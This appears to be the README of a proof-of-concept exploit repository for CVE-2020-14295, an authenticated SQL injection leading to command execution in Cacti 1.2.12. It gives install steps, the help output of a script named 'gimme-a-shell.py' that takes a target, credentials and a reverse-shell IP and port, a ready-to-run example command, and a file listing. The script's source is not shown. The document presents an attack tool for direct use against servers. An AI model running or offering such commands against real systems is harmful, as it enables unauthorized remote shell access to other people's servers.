Authenticated SQL injection to command execution on Cacti 1.2.12 # CVE-2020-14295
***
Vulnerability details - https://github.com/Cacti/cacti/issues/3622
## Install
`pip3 install -r requirements.txt`
## Usage
```
$ ./gimme-a-shell.py --help
usage: gimme-a-shell.py [-h] -t Target -U Username -P Password -i Shell-IP -p Shell-Port
optional arguments:
-h, --help show this help message and exit
required arguments:
-t Target Target URL
-U Username Cacti username
-P Password Cacti password
-i Shell-IP Reverse-Shell IP
-p Shell-Port Reverse-Shell Port
```
## Example
`./gimme-a-shell.py -t http://cacti.localhost -U admin -P admin -i 127.0.0.1 -p 9001`
[4.0K] /data/pocs/b9eda427ce31b0f2b47675138286c2176f64848d
├── [3.9K] gimme-a-shell.py
├── [ 34K] LICENSE
├── [ 621] README.md
└── [ 8] requirements.txt
0 directories, 4 files